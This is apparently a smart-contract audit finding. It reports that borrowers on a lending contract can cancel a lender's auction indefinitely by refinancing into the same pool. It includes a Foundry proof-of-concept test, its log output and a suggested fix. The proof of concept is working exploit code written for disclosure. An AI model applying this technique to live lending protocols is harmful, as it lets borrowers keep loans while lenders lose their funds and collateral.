20,000 USDC
View results
Submission Details
Severity: high
Valid

Borrower can take loan for unlimited time, blocking lenders from starting an auction - forcing lenders to lose funds

Summary

Hello, as known when there's a loan between a lender and a borrower, the borrower should repay this loan in a certain period of time, if the borrower failed to repay it, the lender has the right/power to start an auction to liquidate/sell that loan. However, a borrower can block the lender from doing so, by just paying a small negligible fee, giving him the ability to take loans for unlimited time. This can be done by the borrower calling the refinance function but to the same current pool, this restarts the auctionStartTimestamp which will cancel the auction. The borrower can keep an eye on whenever an auction starts he can call the refinance function pay a small fee and cancel the auction.

Vulnerability Details

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// https://github.com/NomicFoundation/hardhat/blob/main/packages/hardhat-core/console.sol
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public borrower = address(0x4);
address public fees = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function separate() public {
console.log("------------------------------------");
}
function createPoolAndBorrow()
public
returns (bytes32 poolId, uint256 loanId)
{
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
console.log(
"Pool balance before borrowing: %s %s",
poolBalance,
poolBalance / 10 ** 18
);
console.log(
"Borrower balance before borrowing: %s",
loanToken.balanceOf(borrower),
loanToken.balanceOf(borrower) / 10 ** 18
);
separate();
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
loanId = 0;
}
function borrowerRefinances(bytes32 poolId, uint256 loanId) public {
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: loanId,
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
}
function test_bug() public {
(bytes32 poolId, uint256 loanId) = createPoolAndBorrow();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , uint256 auctionStartTime, ) = lender.loans(0);
console.log(
"Pool balance after borrowing: %s %s",
poolBalance,
poolBalance / 10 ** 18
);
console.log(
"Borrower balance after borrowing: %s",
loanToken.balanceOf(borrower),
loanToken.balanceOf(borrower) / 10 ** 18
);
console.log("Auction start time: %s", auctionStartTime);
separate();
vm.warp(block.timestamp + 10 days);
console.log(
"10 days later and the borrower has not paid back and lender decides to start auction"
);
vm.startPrank(lender1);
lender.startAuction(loanIds);
(, , , , , , , , auctionStartTime, ) = lender.loans(0);
assert(auctionStartTime != type(uint256).max);
console.log("Auction start time: %s", auctionStartTime);
separate();
console.log(
"Borrower decides to cancel the auction by calling refinance to the same pool"
);
borrowerRefinances(poolId, loanId);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , auctionStartTime, ) = lender.loans(0);
console.log("Auction start time: %s", auctionStartTime);
console.log(
"Pool balance after borrowing: %s %s",
poolBalance,
poolBalance / 10 ** 18
);
console.log(
"Borrower balance: %s",
loanToken.balanceOf(borrower),
loanToken.balanceOf(borrower) / 10 ** 18
);
assert(auctionStartTime == type(uint256).max);
}
}

Example logs (notice Auction start time):

Logs:
Pool balance before borrowing: 1000000000000000000000 1000
Borrower balance before borrowing: 0 0
------------------------------------
Pool balance after borrowing: 900000000000000000000 900
Borrower balance after borrowing: 99500000000000000000 99
Auction start time: 115792089237316195423570985008687907853269984665640564039457584007913129639935
------------------------------------
10 days later and the borrower has not paid back and lender decides to start auction
Auction start time: 864001
------------------------------------
Borrower decides to cancel the auction by calling refinance to the same pool
Auction start time: 115792089237316195423570985008687907853269984665640564039457584007913129639935
Pool balance after borrowing: 800246575342465753425 800
Borrower balance: 99226027397260273973 99

Impact

  • Borrowers can take loans for an unlimited period of time.

  • Lenders lose the power to sell/liquidate their loans, which will force them to lose funds (they won't be able to get back loan tokens and they won't receive collateral tokens as the loan can't be seized).

Tools Used

VScode + manual review

Recommendations

Block users (borrowers) from refinancing to the same pool, i.e. add if (poolId == oldPoolId) revert SamePool(); to the top of the refinance function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.